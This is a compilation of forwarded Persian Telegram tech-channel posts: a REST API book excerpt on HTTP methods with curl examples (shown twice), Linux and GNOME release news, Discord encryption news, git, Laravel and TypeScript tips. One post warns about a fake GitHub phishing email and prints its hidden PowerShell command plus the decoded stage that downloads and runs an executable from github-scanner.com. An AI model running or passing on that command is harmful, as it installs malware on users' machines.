Forwarded from Ninja Learn | نینجا لرن
📕 کتاب REST API Design Rulebook
📌 فصل سوم: Interaction Design with HTTP
📍پارت: اول
#کتاب
💎 HTTP/1.1 💎
APIهای REST همه جنبههای پروتکل HTTP نسخه ۱.۱ رو شامل میشن، مثل متد های درخواست، کدهای ریسپانس و هدرها. این کتاب HTTP رو به دو فصل تقسیم کرده؛ این فصل درباره متد های درخواست و استاتوس کدهای ریسپانس صحبت میکنه.
فصل ۴ هم درباره گنجاندن متا دادهها در طراحی API REST و هدرهای درخواست و پاسخ HTTP صحبت میکنه.
💎 Request Methods 💎
کلاینتها متد تعامل مورد نظر رو در قسمت Request-Line یک درخواست HTTP مشخص میکنن. استاندارد RFC 2616 نحوه نوشتن Request-Line رو اینطوری تعریف کرده:
هر متد HTTP معنای مشخص و خاصی در زمینه منابع REST API داره. هدف GET اینه که نمایی از وضعیت یک منبع رو بگیره. HEAD برای دریافت متا دادههای مربوط به وضعیت منبع استفاده میشه. PUT باید برای بهروزرسانی یک منبع استفاده بشه. DELETE هم برای حذف یک منبع از والدش به کار میره. POST هم برای ایجاد یک منبع جدید در یک مجموعه و اجرای کنترلرها استفاده میشه.
⭕️ GET و POST نباید برای تونلکردن سایر متد های درخواست استفاده بشن.
تونلینگ به هر نوع سوءاستفاده از HTTP گفته میشه که هدف یک پیام رو پنهان یا به اشتباه نمایش میده و شفافیت پروتکل رو تضعیف میکنه.
یک API REST نباید طراحی خودشو با سوءاستفاده از متد های درخواست HTTP برای سازگاری با کلاینتهایی که دانش محدودی از HTTP دارن، به خطر بندازه. همیشه باید از متد های HTTP بهطور صحیح و طبق قواعد این بخش استفاده کنی.
⭕️ GET باید برای دریافت نمایی از وضعیت یک منبع استفاده بشه.
یک کلاینت REST API از متد GET در درخواستش استفاده میکنه تا وضعیت یک منبع رو در یک فرم نمایشی دریافت کنه. پیام درخواست GET میتونه شامل هدرها باشه ولی body نداره.
معماری وب به شدت به ماهیت متد GET وابستهاست. کلاینتها باید بتونن درخواستهای GET رو تکرار کنن بدون اینکه عوارض جانبی ایجاد بشه. کشها هم به این قابلیت اتکا دارن که بتونن نمایههای کششده رو بدون تماس با سرور اصلی ارائه بدن.
در مثال زیر، میبینیم که چطور یک توسعهدهنده کلاینت ممکنه از curl در یک ترمینال برای دریافت نمایی از وضعیت فعلی یک منبع "greeting" استفاده کنه:
1️⃣ در اینجا، GET متد پیشفرض curl هست، بنابراین نیاز نیست بهطور صریح مشخص بشه. گزینه
2️⃣ خط Request-Line در درخواست نشون میده که از متد GET برای منبع greeting استفاده شده.
3️⃣ لیست هدرهای پیام درخواست هم از اینجا شروع میشه. هدرهای درخواست و پاسخ HTTP در فصل ۴ توضیح داده شدن.
4️⃣ پیام پاسخ هم از اینجا شروع میشه، با خط وضعیت که در بخش "کدهای وضعیت پاسخ" در صفحه ۲۸ بحث شده. کد وضعیت ۲۰۰ OK به curl میگه که درخواستش موفقیتآمیز بوده.
5️⃣ لیست هدرهای پیام پاسخ هم از اینجا شروع میشه.
6️⃣ بدنه پیام ریسپانس هم از اینجا آغاز میشه. در این مثال، بدنه شامل یک نمای HTML از پیام خوشامدگویی هست.
⭕️ برای اینکه فقط هدرهای ریسپانس رو بگیریم بدون اینکه body دریافت کنیم، میتونیم از متد
یعنی
مثال زیر یه دستور
توضیح:
-
-
نتیجه مورد انتظار:
این دستور فقط هدرهای HTTP رو برمیگردونه و body در کار نیست. از این طریق میتونیم اطلاعاتی مثل کد وضعیت، نوع محتوا، جزئیات سرور و... رو ببینیم. مثلا خروجی میتونه این شکلی باشه:
@ninja_learn_ir
📌 فصل سوم: Interaction Design with HTTP
📍پارت: اول
#کتاب
💎 HTTP/1.1 💎
APIهای REST همه جنبههای پروتکل HTTP نسخه ۱.۱ رو شامل میشن، مثل متد های درخواست، کدهای ریسپانس و هدرها. این کتاب HTTP رو به دو فصل تقسیم کرده؛ این فصل درباره متد های درخواست و استاتوس کدهای ریسپانس صحبت میکنه.
فصل ۴ هم درباره گنجاندن متا دادهها در طراحی API REST و هدرهای درخواست و پاسخ HTTP صحبت میکنه.
💎 Request Methods 💎
کلاینتها متد تعامل مورد نظر رو در قسمت Request-Line یک درخواست HTTP مشخص میکنن. استاندارد RFC 2616 نحوه نوشتن Request-Line رو اینطوری تعریف کرده:
Request-Line = Method SP Request-URI SP HTTP-Version CRLF
هر متد HTTP معنای مشخص و خاصی در زمینه منابع REST API داره. هدف GET اینه که نمایی از وضعیت یک منبع رو بگیره. HEAD برای دریافت متا دادههای مربوط به وضعیت منبع استفاده میشه. PUT باید برای بهروزرسانی یک منبع استفاده بشه. DELETE هم برای حذف یک منبع از والدش به کار میره. POST هم برای ایجاد یک منبع جدید در یک مجموعه و اجرای کنترلرها استفاده میشه.
⭕️ GET و POST نباید برای تونلکردن سایر متد های درخواست استفاده بشن.
تونلینگ به هر نوع سوءاستفاده از HTTP گفته میشه که هدف یک پیام رو پنهان یا به اشتباه نمایش میده و شفافیت پروتکل رو تضعیف میکنه.
یک API REST نباید طراحی خودشو با سوءاستفاده از متد های درخواست HTTP برای سازگاری با کلاینتهایی که دانش محدودی از HTTP دارن، به خطر بندازه. همیشه باید از متد های HTTP بهطور صحیح و طبق قواعد این بخش استفاده کنی.
⭕️ GET باید برای دریافت نمایی از وضعیت یک منبع استفاده بشه.
یک کلاینت REST API از متد GET در درخواستش استفاده میکنه تا وضعیت یک منبع رو در یک فرم نمایشی دریافت کنه. پیام درخواست GET میتونه شامل هدرها باشه ولی body نداره.
معماری وب به شدت به ماهیت متد GET وابستهاست. کلاینتها باید بتونن درخواستهای GET رو تکرار کنن بدون اینکه عوارض جانبی ایجاد بشه. کشها هم به این قابلیت اتکا دارن که بتونن نمایههای کششده رو بدون تماس با سرور اصلی ارائه بدن.
در مثال زیر، میبینیم که چطور یک توسعهدهنده کلاینت ممکنه از curl در یک ترمینال برای دریافت نمایی از وضعیت فعلی یک منبع "greeting" استفاده کنه:
1️⃣ curl -v http://api.example.restapi.org/greeting
2️⃣ > GET /greeting HTTP/1.1
3️⃣ > User-Agent: curl/7.20.1
> Host: api.example.restapi.org
> Accept: */*
4️⃣ < HTTP/1.1 200 OK
5️⃣ < Date: Sat, 20 Aug 2011 16:02:40 GMT
< Server: Apache
< Expires: Sat, 20 Aug 2011 16:03:40 GMT
< Cache-Control: max-age=60, must-revalidate
< ETag: text/html:hello world
< Content-Length: 130
< Last-Modified: Sat, 20 Aug 2011 16:02:17 GMT
< Vary: Accept-Encoding
< Content-Type: text/html
6️⃣ <!doctype html><head><meta charset="utf-8"><noscript>Greeting</noscript></head>
<body><div id="greeting">Hello World!</div></body></html>
1️⃣ در اینجا، GET متد پیشفرض curl هست، بنابراین نیاز نیست بهطور صریح مشخص بشه. گزینه
-v هم باعث میشه خروجی curl جزئیات بیشتری داشته باشه.2️⃣ خط Request-Line در درخواست نشون میده که از متد GET برای منبع greeting استفاده شده.
3️⃣ لیست هدرهای پیام درخواست هم از اینجا شروع میشه. هدرهای درخواست و پاسخ HTTP در فصل ۴ توضیح داده شدن.
4️⃣ پیام پاسخ هم از اینجا شروع میشه، با خط وضعیت که در بخش "کدهای وضعیت پاسخ" در صفحه ۲۸ بحث شده. کد وضعیت ۲۰۰ OK به curl میگه که درخواستش موفقیتآمیز بوده.
5️⃣ لیست هدرهای پیام پاسخ هم از اینجا شروع میشه.
6️⃣ بدنه پیام ریسپانس هم از اینجا آغاز میشه. در این مثال، بدنه شامل یک نمای HTML از پیام خوشامدگویی هست.
⭕️ برای اینکه فقط هدرهای ریسپانس رو بگیریم بدون اینکه body دریافت کنیم، میتونیم از متد
HEAD استفاده کنیم. یعنی
HEAD همون جواب GET رو میده، ولی بدون بدنه. از این روش میشه برای این استفاده کرد که ببینیم یه منبع وجود داره یا اینکه اطلاعات متادیتاش رو بخونیم.مثال زیر یه دستور
curl رو نشون میده که با استفاده از متد HEAD فقط هدرهای پاسخ رو میگیره:curl -I https://example.com/resource
توضیح:
-
-I یا --head: این گزینه به curl میگه که به جای درخواست معمولی GET`، یه درخواست `HEAD بفرسته.-
https://example.com/resource: آدرس منبعی که میخوایم چک کنیم رو باید اینجا بذاریم.نتیجه مورد انتظار:
این دستور فقط هدرهای HTTP رو برمیگردونه و body در کار نیست. از این طریق میتونیم اطلاعاتی مثل کد وضعیت، نوع محتوا، جزئیات سرور و... رو ببینیم. مثلا خروجی میتونه این شکلی باشه:
@ninja_learn_ir
Forwarded from Python BackendHub
این meme رو دیدم خیلی جالب بود… عمق دانشنتون از PostgreSQL تا چه حدیه؟ یکم حس بی سوادی دست داد بهم :)) تو یکی از پستا چند روز پیش راجب یکیش پرداخته بودم 😁
Every sql operator is actually a join? WTF?😂
@ManiFoldsPython
Every sql operator is actually a join? WTF?😂
@ManiFoldsPython
Forwarded from Ninja Learn | نینجا لرن
بچه ها نظرتون راجب کتاب چیه؟
براتون مفید بوده تا حالا؟
براتون مفید بوده تا حالا؟
Anonymous Poll
75%
خوبه / به درد میخوره
8%
خوب نیست / به دردم نمیخوره
17%
یه کتاب دیگه میخوام
Forwarded from Ninja Learn | نینجا لرن
دوستانی که کتاب دیگه مد نظرشون هست کامنت بذارن بعد اینکه این کتابو تموم کردیم کتابی که بیشترین رای رو آورد میذاریم 🌹
Forwarded from Python BackendHub (Mani)
یک مقاله خیلی خوب برای توضیح دادن این میم:
https://avestura.dev/blog/explaining-the-postgres-meme
@PyBackendHub
https://avestura.dev/blog/explaining-the-postgres-meme
@PyBackendHub
Avestura's Blog
Explaining The Postgres Meme
Have you seen this legendary SQL iceberg meme? Let's talk about it while wearing our PostgreSQL hat!
Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
accent-colors.webm
644.6 KB
🔶 نسخه ۴۷ گنوم به نام Denver به صورت رسمی منتشر شد.
https://release.gnome.org/47/
#لینوکس
@TheRaymondDev
https://release.gnome.org/47/
#لینوکس
@TheRaymondDev
Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
🔶 دیسکورد بالاخره با افزودن رمزگذاری سرتاسری، قابلیت تماس ویدیویی و صوتی را امنتر کرد
طبق اعلام دیسکورد، قابلیت رمزگذاری مکالمات صوتی و تصویری این پلتفرم با نام DAVE شناخته میشود. ظاهراً این شرکت هنگام تصمیمگیری درمورد اینکه چه ویژگیهای صوتی و تصویری را رمزگذاری کند، به استفاده از راهکاری کامل رو آورده است.
#خبر
@TheRaymondDev
طبق اعلام دیسکورد، قابلیت رمزگذاری مکالمات صوتی و تصویری این پلتفرم با نام DAVE شناخته میشود. ظاهراً این شرکت هنگام تصمیمگیری درمورد اینکه چه ویژگیهای صوتی و تصویری را رمزگذاری کند، به استفاده از راهکاری کامل رو آورده است.
#خبر
@TheRaymondDev
Discord
Meet DAVE: Discord’s New End-to-End Encryption for Audio & Video
We’re rolling out end-to-end encryption for voice and video calls! We’d like to share why we’re bringing E2EE A/V to Discord, share our design and implementation goals, and provide a high-level technical overview of how it works.
Forwarded from کانال اطلاعرسانی توزیع پارچ
پارچ نگارش ۱۸-۰۹-۲۰۲۴ عرضه شد.
تغییرات:
۱- میزکار پلاسما اکنون شخصیسازی شده است (زمینه تیره پیشفرض)
۲- حذف بستههای اضافی پلاسما
۳- بهروزرسانی به کرنل ۶.۱۰
دریافت:
نگارش پلاسما 🖼️
نگارش گنوم 🖼️
💜 @ParchLinux
تغییرات:
۱- میزکار پلاسما اکنون شخصیسازی شده است (زمینه تیره پیشفرض)
۲- حذف بستههای اضافی پلاسما
۳- بهروزرسانی به کرنل ۶.۱۰
دریافت:
نگارش پلاسما 🖼️
نگارش گنوم 🖼️
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from محتوای آزاد سهراب
بتای فدورای ۴۱ اومده، اومدن ptyxis رو کردن ترمینال پیشفرض توی گنوم.
https://9to5linux.com/fedora-linux-41-enters-public-beta-testing-with-linux-kernel-6-11-and-gnome-47
ما همینکارو کردیم، دوستان کاربر گنوم میخواستن خون مارو بریزن که آره، این جزو برنامههای پیشفرض گنوم نیست 👺 شما ارزش مشارکت مارو ندارین 👺
@SohrabContents
https://9to5linux.com/fedora-linux-41-enters-public-beta-testing-with-linux-kernel-6-11-and-gnome-47
ما همینکارو کردیم، دوستان کاربر گنوم میخواستن خون مارو بریزن که آره، این جزو برنامههای پیشفرض گنوم نیست 👺 شما ارزش مشارکت مارو ندارین 👺
@SohrabContents
9to5Linux
Fedora Linux 41 Enters Public Beta Testing with Linux Kernel 6.11 and GNOME 47 - 9to5Linux
Fedora Linux 41 distribution is now available for public beta testing powered by Linux kernel 6.11 and featuring the GNOME 47 desktop.
Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from Pishro App
اینجور مواقع شما دیگه نمیخواید یه کامیت جدید بزنید و دلتون میخواد که همین تغییر کوچیک رو روی کامیت قبلیتون بزنید
git commit –amend
هر تغییری که دادید رو روی کامیت قبلیتون ثبت کنید
git commit --amend -m “this fixes the previous oopsies”
اطلاعات بیشتر :
https://smartlogic.io/blog/git-commit-amend/
#trick
#git
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Armon technical logs (armon Taheri)
توصیه میکنم اگر در حوزه نرمافزار تحت وب فعالیت میکنین این ۱۲ فاکتور رو مطالعه کنین.
https://12factor.net/
https://12factor.net/
12factor.net
The Twelve-Factor App
A methodology for building modern, scalable, maintainable software-as-a-service apps.
Forwarded from Golden Code (@lix)
در لاراول orderByRaw بهتون این امکان رو میده که نتایج رو بتونید بر اساس یه سری محاسبات خاصی مرتب کنید.
مثلا ؟
میتونیم نتایج رو بر اساس اختلاف بین دو ستون ( قیمت و تخفیف) مرتب کنیم!
این آپشن یه سری جاها کدارو واقعا بهینه میکنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1836004683594469864?t=IGgicccC4LllTLBm0hRviw&s=19
مثلا ؟
میتونیم نتایج رو بر اساس اختلاف بین دو ستون ( قیمت و تخفیف) مرتب کنیم!
این آپشن یه سری جاها کدارو واقعا بهینه میکنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1836004683594469864?t=IGgicccC4LllTLBm0hRviw&s=19
X (formerly Twitter)
Backpack for Laravel (@laravelbackpack) on X
#Laravel Tip
The eloquent's method `orderByRaw()` lets us simply pass a raw query to order the results.
For example, sorting by the difference between two columns.
The eloquent's method `orderByRaw()` lets us simply pass a raw query to order the results.
For example, sorting by the difference between two columns.
👍2
Forwarded from LearnPOV | لرن پی او وی
Forwarded from دستاوردهای یادگیری عمیق(InTec)
همچنان با اختلاف بهترین Roadmap برای هوش مصنوعی همین هست
یک سری موارد موردی رو فقط درحال حاضر میتونم بهش اضافه کنم
مثل، کانال Andrej Karpathy توی یوتیوب و ...
لطفاً درخواست #roadmap جدید نفرستید.
این مورد بهترین هست.
یک سری موارد موردی رو فقط درحال حاضر میتونم بهش اضافه کنم
مثل، کانال Andrej Karpathy توی یوتیوب و ...
لطفاً درخواست #roadmap جدید نفرستید.
این مورد بهترین هست.
Forwarded from ⚝
مشغول بررسی رایانامههای بخش هرزنامه بودم، متوجّه یکیشون شدم که از روی یکی از مخازن عمومی گیتهابم ارسال شده بود. کاملاً مشابه رایانامههای معمول گیتهاب بود و حتّیٰ دامنهش هم github-scanner[dot]com بود. ازم خواست برای تأیید ربات نبودنم، پنجرهٔ Run ویندوز رو باز کنم، این رو داخلش بنویسم و اینتر بزنم:
که در واقع، این کد رو اجرا میکنه:
من که ویندوز ندارم ولی خب، قانع شدم که چرا رایانامه که در واقع یه خدمت جزیرهای بوده، الان مبدّل شده به یه خدمت مرکزگرایانه.
#note #learn
@amiria703_channel
powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner.com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
که در واقع، این کد رو اجرا میکنه:
$webClient = New-Object System.Net.WebClient
$url1 = "https://github-scanner.com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
من که ویندوز ندارم ولی خب، قانع شدم که چرا رایانامه که در واقع یه خدمت جزیرهای بوده، الان مبدّل شده به یه خدمت مرکزگرایانه.
#note #learn
@amiria703_channel
Forwarded from دستاوردهای یادگیری عمیق(InTec)
امشب یا فردا بسته به اینترنت :
یک گزارش دقیق از Qwen2.5 خواهیم داشت.
البته مدل Qwen2.5 coder تو راه هست
این بار از تکنیک :
https://news.1rj.ru/str/pytens/1550
استفاده خواهم کرد برای ارزیابی خروجی.
(شخصاً دارم این تکنیک رو اتوماتیک میکنم، تا همهی پرامپتهای local خودم با این روش کار کنند.)
یک گزارش دقیق از Qwen2.5 خواهیم داشت.
البته مدل Qwen2.5 coder تو راه هست
این بار از تکنیک :
https://news.1rj.ru/str/pytens/1550
استفاده خواهم کرد برای ارزیابی خروجی.
(شخصاً دارم این تکنیک رو اتوماتیک میکنم، تا همهی پرامپتهای local خودم با این روش کار کنند.)
Telegram
دستاوردهای یادگیری عمیق(InTec)
یک سری از افراد اومدند و پرامپتهایی رو منتشر کردند که عملکردی مشابه chatGpt o1 رو پیادهسازی میکنه و شاید باعث سورپرایز شما هم بشه اما واقعا این روش باعث شده نتایج بسیار بهتری داده بشه توسط مدلها؛
llama3.1, gemini flash, qwen2, chatGpt-4omini
مدلهایی…
llama3.1, gemini flash, qwen2, chatGpt-4omini
مدلهایی…
Forwarded from Linuxor ?
ما آینده رو پیشبینی کردیم ، امروز کلی گوشی منفجر شد
هکرا وقتی آسیب پذیری پیدا میکنن، نمیان سریع ازش استفاده کنن در نهایت تارگت هم بگه دستت درد نکنه هکر جون که مشکلمون رو بهمون نشون دادی
هکرا هی میان اون آسیب پذیری رو با آسیب پذیری های دیگه chain و ترکیب میکنن تا اون رو بزرگ و بزرگ ترش کنن، در نهایت این کار قدرت زیادی به هکرا میده.
ماجرا جایی جالب میشه که شناسنایی این نوع حملات خیلی سخت میشه چون مجموعه ای از آسیب پذیری ها chain شده و یه قدرت زیادی به هکر داده و هکر عملا هر کاری میتونه کنه.
نکته جالب تر اینجاست هکرا زمین های بازی هم عوض میکنن، یعنی وقتی یه مشکل پیدا کردن قبل از استفاده اون رو روی زمین های دیگه هم تست میکنن، مثلا میگه روی پیجر تونستم روی گوشی هم حالا یه تستی میکنم.
🐧 @Linuxor
هکرا وقتی آسیب پذیری پیدا میکنن، نمیان سریع ازش استفاده کنن در نهایت تارگت هم بگه دستت درد نکنه هکر جون که مشکلمون رو بهمون نشون دادی
هکرا هی میان اون آسیب پذیری رو با آسیب پذیری های دیگه chain و ترکیب میکنن تا اون رو بزرگ و بزرگ ترش کنن، در نهایت این کار قدرت زیادی به هکرا میده.
ماجرا جایی جالب میشه که شناسنایی این نوع حملات خیلی سخت میشه چون مجموعه ای از آسیب پذیری ها chain شده و یه قدرت زیادی به هکر داده و هکر عملا هر کاری میتونه کنه.
نکته جالب تر اینجاست هکرا زمین های بازی هم عوض میکنن، یعنی وقتی یه مشکل پیدا کردن قبل از استفاده اون رو روی زمین های دیگه هم تست میکنن، مثلا میگه روی پیجر تونستم روی گوشی هم حالا یه تستی میکنم.
🐧 @Linuxor
Forwarded from One3erver.com
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Accio
A #typenoscript trick that was useful to me today:
MakeOptionalPropertiesNullable will make optional fields of T accept null as well as their type. e.g:
Will be transformed into:
How is this useful?
Working with different controllers, validators or even ORMs might produce situations like this. For example in Prisma schemas any optional value is simply nullable so for an easier type mapping you might want to introduce a persistence model from your read model via this type mapper.
Or you want to accept both null and undefined from your users but don't want to clutter your domain types with it
How is this even working?
We are taking advantage of typenoscript mappers/transformers. NullableKeys<T> first creates a type that assigns
What now? now we pass our type to MakeOptionalPropertiesNullable<T> which at first, goes through any key of T that is not included in NullableKeys<T>. Meaning any key that isn't optional. We don't want to touch those so we simply assign their respective types via T[K]. Now it's time for optional keys to join the party. They will be assigned their own types along side a
type NullableKeys<T> = {
[K in keyof T]: undefined extends T[K] ? K : never;
}[keyof T];
export type MakeOptionalPropertiesNullable<T> = {
[K in Exclude<keyof T, NullableKeys<T>>]: T[K];
} & {
[K in NullableKeys<T>]: T[K] | null;
};MakeOptionalPropertiesNullable will make optional fields of T accept null as well as their type. e.g:
interface User {
name: string;
lastName?: string;
}Will be transformed into:
interface NewUser {
name: string;
lastName?: string | null;
}How is this useful?
Working with different controllers, validators or even ORMs might produce situations like this. For example in Prisma schemas any optional value is simply nullable so for an easier type mapping you might want to introduce a persistence model from your read model via this type mapper.
Or you want to accept both null and undefined from your users but don't want to clutter your domain types with it
How is this even working?
We are taking advantage of typenoscript mappers/transformers. NullableKeys<T> first creates a type that assigns
never to any property of T that is not optional (deciding with undefined extends T[K]) and at the end it will get the keys of the transformed object (which will skip any field that has the type never). So we end up with a type like below: "field1" | "field2" | "field3" | ...
What now? now we pass our type to MakeOptionalPropertiesNullable<T> which at first, goes through any key of T that is not included in NullableKeys<T>. Meaning any key that isn't optional. We don't want to touch those so we simply assign their respective types via T[K]. Now it's time for optional keys to join the party. They will be assigned their own types along side a
| null to make them nullable. A simple & will seal the deal at the end.